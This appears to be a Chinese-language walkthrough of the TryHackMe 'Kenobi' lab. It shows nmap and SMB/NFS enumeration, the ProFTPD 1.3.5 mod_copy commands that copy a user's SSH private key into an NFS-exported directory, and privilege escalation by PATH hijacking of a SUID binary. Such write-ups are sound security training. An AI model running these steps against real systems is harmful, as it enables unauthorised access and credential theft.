[THM] kenobi
Last Update:
Word Count:
Read Time:
信息收集
nmap -sC -sV -T4 ip
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71┌──(root㉿kali)-[~]
└─# nmap -sC -sV -T4 10.10.87.203
Starting Nmap 7.93 ( https://nmap.org ) at 2023-04-10 11:36 UTC
Nmap scan report for ip-10-10-87-203.eu-west-1.compute.internal (10.10.87.203)
Host is up (0.0029s latency).
Not shown: 993 closed tcp ports (reset)
PORT STATE SERVICE VERSION
21/tcp open ftp ProFTPD 1.3.5
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 b3ad834149e95d168d3b0f057be2c0ae (RSA)
| 256 f8277d642997e6f865546522f7c81d8a (ECDSA)
|_ 256 5a06edebb6567e4c01ddeabcbafa3379 (ED25519)
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
| http-robots.txt: 1 disallowed entry
|_/admin.html
|_http-title: Site doesnt have a title (text/html).
111/tcp open rpcbind 2-4 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2,3,4 111/tcp rpcbind
| 100000 2,3,4 111/udp rpcbind
| 100000 3,4 111/tcp6 rpcbind
| 100000 3,4 111/udp6 rpcbind
| 100003 2,3,4 2049/tcp nfs
| 100003 2,3,4 2049/tcp6 nfs
| 100003 2,3,4 2049/udp nfs
| 100003 2,3,4 2049/udp6 nfs
| 100005 1,2,3 39028/udp mountd
| 100005 1,2,3 51006/udp6 mountd
| 100005 1,2,3 52219/tcp mountd
| 100005 1,2,3 53459/tcp6 mountd
| 100021 1,3,4 34773/tcp6 nlockmgr
| 100021 1,3,4 37630/udp6 nlockmgr
| 100021 1,3,4 39473/tcp nlockmgr
| 100021 1,3,4 41668/udp nlockmgr
| 100227 2,3 2049/tcp nfs_acl
| 100227 2,3 2049/tcp6 nfs_acl
| 100227 2,3 2049/udp nfs_acl
|_ 100227 2,3 2049/udp6 nfs_acl
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 4.3.11-Ubuntu (workgroup: WORKGROUP)
2049/tcp open nfs_acl 2-3 (RPC #100227)
MAC Address: 02:52:93:89:63:6F (Unknown)
Service Info: Host: KENOBI; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
Host script results:
|_clock-skew: mean: 1h39m59s, deviation: 2h53m12s, median: 0s
| smb2-security-mode:
| 311:
|_ Message signing enabled but not required
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
| smb2-time:
| date: 2023-04-10T11:36:30
|_ start_date: N/A
|_nbstat: NetBIOS name: KENOBI, NetBIOS user: <unknown>, NetBIOS MAC: 000000000000 (Xerox)
| smb-os-discovery:
| OS: Windows 6.1 (Samba 4.3.11-Ubuntu)
| Computer name: kenobi
| NetBIOS computer name: KENOBI\x00
| Domain name: \x00
| FQDN: kenobi
|_ System time: 2023-04-10T06:36:30-05:00
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 12.48 seconds21端口,ftp服务开放,且使用的是ProFTPD,version是1.3.5。
80端口开放,有网页服务器,访问网页没有任何有用信息。admin.html屁用没有(
111端口开放,rpc服务开启。
139和445端口开放,Samba服务开启。
1
2Samba是适用于Linux和Unix的标准Windows互操作性程序套件。它允许最终用户访问和使用公司内部网或互联网上的文件、打印机和其他常见共享资源。它通常被称为网络文件系统。
Samba基于服务器消息块(SMB)的通用客户端/服务器协议。SMB仅针对Windows开发,如果没有Samba,其他计算机平台将与Windows机器隔离,即使它们是同一网络的一部分。
因为上面扫描发现存在smb服务,所以使用nmap脚本
smb-enum-shares.nse
以及smb-enum-users.nse
对靶机smb的shares以及users进行列举。
可以发现\IPC$以及\anonymous都可以任意读写以及访问。
所以,我们使用
smbclient //ip/anonymous
匿名连接靶机smb共享,查看发现存在log.txt文件。(//ip/IPC$啥也没有)
我们从log.txt中,我们可以发现用户生成了自己的ssh私钥放在
/home/kenobi/.ssh/
目录下的id_rsa文件中。于是我们考虑能否拿到该秘钥以通过ssh登录靶机。于是,我们得想办法拿到秘钥。之前扫描发现的111端口开放且正在运行rpcbind服务,rpcbind是一个将远程程序调用(RPC– remote procedure call)的程序号转换为通用地址的服务器。当一个RPC 服务启动时,它会告诉 rpcbind 它正在监听的地址以及它准备启用的服务所对应的RPC程序编号。因为扫描发现nfs(network file system)服务被远程启用,我们进一步使用nmap脚本
nfs-ls
,nfs-statfs
,nfs-showmount
尝试枚举nfs信息。我们可以发现,靶机将/var挂载在nfs上。我们可以尝试将这个目录挂载在我们的攻击机上。
漏洞利用
但是我们想要的秘钥不在/var目录下,我们首先要将其弄到/var目录中。前面发现了ProFTPD的版本是1.3.5,我们
searchsploit proFTPD 1.3.5
发现其存在文件拷贝漏洞。(其他两个’mod_copy’ RCE利用不成功)。查看File Copy的漏洞利用.txt
文件,发现漏洞细节。该版本ProFtpd的mod_copy模块中存在漏洞。mod_copy模块实现了
SITE CPFR
和SITE CPTO
命令(类似于 RNFR 和 RNTO) ,这些命令可以用来将文件/目录从服务器上的一个地方复制到另一个地方,而无需将数据传输到客户端并等待返回(无身份验证),该模块包含在 ProFTPD 1.3.x 的 mod_copy.c 文件中,默认情况下不进行编译。也就是说:任何未经身份验证的客户机都可以利用SITE CPFR 和 SITE CPTO 命令,将文件从FTP服务器的文件系统的任何位置复制到选定的位置。刚好是我们需要的功能。我们使用nc连接ftp服务器,并利用该漏洞将id_rsa拷贝到/var/tmp目录下。
1
2
3nc -nv 10.10.87.203 21
SITE CPFR /home/kenobi/.ssh/id_rsa
SITE CPTO /vat/tmp/id_rsa我们将/var挂载(mount)到我们机子上
可以发现,我们已经获得了ssh登录的rsa私钥。
我们将id_rsa文件权限改成600,否则无法用于ssh登录。
成功登录并可以看到user.txt。
提权
先把lse.sh传上去再说。运行。(或者使用
find / -perm -u=s -type f 2>/dev/null
查找有SUID位的二进制文件)发现有趣的setuid二进制文件:/usr/bin/menu。
我们用
string
检查一下这个二进制文件。(strings
是 Linux 上的一个命令,它能在二进制文件上查找人类可读的字符串,我们使用以下命令来查看/usr/bin/menu运行时的信息(因为执行menu命令时有文字回显,我们才使用strings命令))我们发现,其调用
curl
,uname
,ifconfig
使用的不是绝对路径(/usr/bin/curl
)这种。所以系统在执行时会从$PATH下的路径从前到后寻找这些二进制文件。所以我们可以在$PATH最前面加入目录,并放入我们构造的这些二进制文件,然后menu运行时就会以root权限执行这些文件。因此我们直接构造
/bin/bash
。1
2
3# 在/home/kenobi目录下
kenobi@kenobi:~$ echo /bin/bash > ifconfig
kenobi@kenobi:~$ chmod 777 ifconfig
成功提权。